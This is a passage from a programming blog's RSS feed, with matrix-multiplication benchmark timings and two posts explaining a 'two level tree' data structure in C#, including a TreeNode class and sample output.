<td style="border: 1px solid #000000;" align="right">1.9383</td>
<td style="border: 1px solid #000000;" align="right">1.6257</td>
<td style="border: 1px solid #000000;" align="right">0.8620</td>
<td style="border: 1px solid #000000;" align="right">0.1250</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1200&#215;1200</span></strong></td>
<td style="border: 1px solid #000000;" align="right">50.4964</td>
<td style="border: 1px solid #000000;" align="right">9.9319</td>
<td style="border: 1px solid #000000;" align="right">2.8411</td>
<td style="border: 1px solid #000000;" align="right">2.1215</td>
<td style="border: 1px solid #000000;" align="right">1.1170</td>
<td style="border: 1px solid #000000;" align="right">0.0440</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1300&#215;1300</span></strong></td>
<td style="border: 1px solid #000000;" align="right">64.5064</td>
<td style="border: 1px solid #000000;" align="right">12.8344</td>
<td style="border: 1px solid #000000;" align="right">3.6277</td>
<td style="border: 1px solid #000000;" align="right">2.9720</td>
<td style="border: 1px solid #000000;" align="right">1.4250</td>
<td style="border: 1px solid #000000;" align="right">0.0440</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1400&#215;1400</span></strong></td>
<td style="border: 1px solid #000000;" align="right">81.1826</td>
<td style="border: 1px solid #000000;" align="right">17.1119</td>
<td style="border: 1px solid #000000;" align="right">4.8309</td>
<td style="border: 1px solid #000000;" align="right">3.5977</td>
<td style="border: 1px solid #000000;" align="right">1.7760</td>
<td style="border: 1px solid #000000;" align="right">0.0938</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1500&#215;1500</span></strong></td>
<td style="border: 1px solid #000000;" align="right">100.1330</td>
<td style="border: 1px solid #000000;" align="right">21.0622</td>
<td style="border: 1px solid #000000;" align="right">6.1689</td>
<td style="border: 1px solid #000000;" align="right">4.8022</td>
<td style="border: 1px solid #000000;" align="right">2.1870</td>
<td style="border: 1px solid #000000;" align="right">0.1111</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1600&#215;1600</span></strong></td>
<td style="border: 1px solid #000000;" align="right">120.3400</td>
<td style="border: 1px solid #000000;" align="right">26.4316</td>
<td style="border: 1px solid #000000;" align="right">7.3189</td>
<td style="border: 1px solid #000000;" align="right">5.0451</td>
<td style="border: 1px solid #000000;" align="right">2.6490</td>
<td style="border: 1px solid #000000;" align="right">0.1699</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1700&#215;1700</span></strong></td>
<td style="border: 1px solid #000000;" align="right">145.8550</td>
<td style="border: 1px solid #000000;" align="right">31.2706</td>
<td style="border: 1px solid #000000;" align="right">8.7525</td>
<td style="border: 1px solid #000000;" align="right">6.8915</td>
<td style="border: 1px solid #000000;" align="right">3.1870</td>
<td style="border: 1px solid #000000;" align="right">0.1452</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1800&#215;1800</span></strong></td>
<td style="border: 1px solid #000000;" align="right">174.6860</td>
<td style="border: 1px solid #000000;" align="right">38.9293</td>
<td style="border: 1px solid #000000;" align="right">11.1060</td>
<td style="border: 1px solid #000000;" align="right">8.1316</td>
<td style="border: 1px solid #000000;" align="right">3.7940</td>
<td style="border: 1px solid #000000;" align="right">0.1989</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1900&#215;1900</span></strong></td>
<td style="border: 1px solid #000000;" align="right">206.0520</td>
<td style="border: 1px solid #000000;" align="right">45.8589</td>
<td style="border: 1px solid #000000;" align="right">13.0832</td>
<td style="border: 1px solid #000000;" align="right">9.9527</td>
<td style="border: 1px solid #000000;" align="right">4.4450</td>
<td style="border: 1px solid #000000;" align="right">0.2725</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">2000&#215;2000</span></strong></td>
<td style="border: 1px solid #000000;" align="right">240.7820</td>
<td style="border: 1px solid #000000;" align="right">55.4392</td>
<td style="border: 1px solid #000000;" align="right">16.0542</td>
<td style="border: 1px solid #000000;" align="right">11.0314</td>
<td style="border: 1px solid #000000;" align="right">5.1820</td>
<td style="border: 1px solid #000000;" align="right">0.3359</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">
The following figure shows the results. Since uBLAS and single threaded matrix multiplications took significantly longer to compute, I did not include them in the figure below.
</p>
<p style="text-align: center;">
<a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/linearplot.png"><img class="size-full wp-image-645" title="Matrix Multiplication (Linear)" src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/linearplot.png" alt="Matrix Multiplication (Linear)" width="560" height="420" /></a></p>
<p style="text-align: left;">
The following figure shows the same data but uses log-scale Y axis instead so that all the data can show up nicely. You can get a sense of various algorithms&#8217; efficiencies here:</p>
<p style="text-align: center;">
<a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/logplot.png"><img class="alignnone size-full wp-image-646"  title="Matrix Multiplication (Log)" src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/logplot.png" alt="Matrix Multiplication (Log)" width="560" height="420" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Two Level Tree and Its Applications — II</title>
		<link>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/</link>
		<comments>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/#comments</comments>
		<pubDate>Tue, 23 Dec 2008 00:37:27 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=480</guid>
		<description><![CDATA[In my previous post, I discussed how to merge and split a two level tree. Before moving on to discuss its applications, let us take a look at the output of the sample program I gave before.&#160; &#160;&#160;&#160; &#160;&#160;&#160; static void Main(string[] args) &#160;&#160;&#160; &#160;&#160;&#160; { &#160;&#160;&#160; &#160;&#160;&#160; &#160;&#160;&#160; TreeNode n1 = new TreeNode(&#34;t1&#34;); &#160;&#160;&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>In my <a href="/2008/12/21/two-level-tree-and-its-applications-i/">previous post</a>, I discussed how to merge and split a two level tree. Before moving on to discuss its applications, let us take a look at the output of the sample program I gave before.&nbsp;<span id="more-480"></span></p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">static</span> <span style="color: blue; font-weight: bold;">void</span> Main(<span style="color: blue; font-weight: bold;">string</span>[] args)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t1&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t2&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n3 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t3&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n4 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t4&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n5 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t5&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> n6 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span>(<span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;t6&quot;</span>);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> n1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n2)<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n3);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t1);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> n4<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n5)<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(n6);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t2);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t3 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(t2);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t3);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t4 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t3<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Remove(n4);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t4);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">TreeNode</span> t5 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> t4<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Remove(n1);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WriteLine(t5);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Console</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ReadKey();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>Here is the output from the main routine:</p>
<blockquote>
<div><font face="Courier New">(t1);t2;t3;<br />
(t4);t5;t6;<br />
(t1);t2;t3;t4;t5;t6;<br />
(t1);t2;t3;t5;t6;<br />
(t2);t3;t5;t6;</font></div>
</blockquote>
<p>As you can see, tree t1 is formed by adding nodes t2 and t3 and the resulting tree is a two-level tree with t1 being the root. Similarly, t4 is formed by adding nodes t5 and t6. We then combined this two tree we just created, note how node t4 changed to a leaf in order to satisfy the two level property. In the next two output lines, we removed nodes from the two level tree. Note the last line: when we removed the root node, a leaf node (t2) is chosen as the new root of the tree.</p>
<p>Two level tree is extremely useful in capturing relationships in real world applications. For instance, if a is related to b and c, and d is related to e and f. Now we have two sets of distinct relationships (both are two level trees):</p>
<blockquote>
<div><font face="Courier New">(a);b;c</font></div>
<div><font face="Courier New">(d);e;f</font></div>
</blockquote>
<p>Now suppose that we also know c is related to e, what would the new relationship be? We know that a, b, c, d, e, f are then all related. But how do we capture this kind of relationships programmatically? As it turned out, we can use two level trees. In the example we just discussed, the relationship between e and c are captured via combining the two trees. And thus we get the following two level tree:</p>
<blockquote>
<div><font face="Courier New">(a);b;c;d;e;f</font></div>
</blockquote>
<p>Since related items are not necessarily limited to just tree roots (e.g. c and e are both leafs), we needed to be able to refer to a tree by either its root or its nodes and this is why in my <a href="/2008/12/21/two-level-tree-and-its-applications-i/">previous post</a> I mentioned that it would be a lot easier if we allowed referencing a tree by either the root node or its leafs.</p>
<p>One benefit of using a two level tree to capture relationships is that finding out the related items is a constant time operation since all of the related items are in a two level tree and no further tree traversal is required. In a large data set, this algorithm becomes very effective since no recursion is required.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/12/22/two-level-tree-and-its-applications-%e2%80%94-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two Level Tree and Its Applications &#8212; I</title>
		<link>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/</link>
		<comments>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 02:19:59 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=474</guid>
		<description><![CDATA[A two level tree is a simple tree data structure. Unlike in a typical tree where the tree depths could be arbitrary, a two level tree has only two levels as its name suggests. Two level tree is also equivalent to a star.The following graph illustrates what a two level tree looks like: A two [...]]]></description>
			<content:encoded><![CDATA[<p>A two level tree is a simple <a href="http://en.wikipedia.org/wiki/Tree_(data_structure)">tree data structure</a>. Unlike in a typical tree where the tree depths could be arbitrary, a two level tree has only two levels as its name suggests. Two level tree is also equivalent to a <a href="http://en.wikipedia.org/wiki/Star_(graph_theory)">star</a>.<span id="more-474"></span>The following graph illustrates what a two level tree looks like:</p>
<p align="center"><img alt="Two Level Tree" src="/blog/wp-content/uploads/2008/12/twoleveltree1.png" /></p>
<p align="center">A two level tree</p>
<p align="left">There is no internal nodes in a two level tree. A two level tree has only a root node and a set of leaf nodes.</p>
<p align="left">There are two types basic of operations we can perform on a two level tree: we can Add a two level tree to another two level tree and thus form a new two level tree or we can remove a node or a set of nodes from a two level tree.</p>
<p align="left">To add a two level tree to another two level tree, we need to ensure that the combined tree remains a two level tree. when we say adding a tree, it means adding the &quot;whole tree&quot;. But in practice, we really do not care which part of the tree we refer to. For instance, the above tree can be referred to by A (the root node), or by any of the four children (e.g. C). Thus there are four scenarios when adding two trees together, depending on how the tree is referenced. The following graph illustrate this:</p>
<p align="center"><img alt="Merging Two Two Level Trees" src="/blog/wp-content/uploads/2008/12/twoleveltree2.png" /></p>
<p align="center">Merging Two Two Level Trees</p>
<p align="left">The above four different scenarios depend on how the tree is referenced (the shaded letters). We could mandate that a tree referenced by its root node and thus simplify the merging algorithm, but you will see in a later post that this approach adds more flexibility. The following code (C#) shows how the above steps are accomplished:&nbsp;</p>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New"><span style="font-weight: bold; color: blue">namespace</span> TwoLevelTree</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">{</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">class</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: blue">string</span> _ID <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> _parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">private</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span> _children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">null</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: blue">string</span> ID</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _ID; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _ID <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Parent</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _parent; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span> Children</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">get</span> { <span style="font-weight: bold; color: blue">return</span> _children; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">set</span> { _children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">value</span>; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> TreeNode(<span style="font-weight: bold; color: blue">string</span> id)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _ID <span style="font-weight: bold; color: #8080c0">=</span> id;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">public</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span> Add(<span style="font-weight: bold; color: #2b91af">TreeNode</span> node)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (<span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (<span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">==</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">List</span><span style="font-weight: bold; color: #8080c0">&lt;</span><span style="font-weight: bold; color: #2b91af">TreeNode</span><span style="font-weight: bold; color: #8080c0">&gt;</span>();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">this</span><span style="font-weight: bold; color: #8080c0">.</span>Children<span style="font-weight: bold; color: #8080c0">.</span>Add(node);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; node<span style="font-weight: bold; color: #8080c0">.</span>Parent <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">this</span>;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">if</span> (node<span style="font-weight: bold; color: #8080c0">.</span>Children <span style="font-weight: bold; color: #8080c0">!=</span> <span style="font-weight: bold; color: blue">null</span>)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
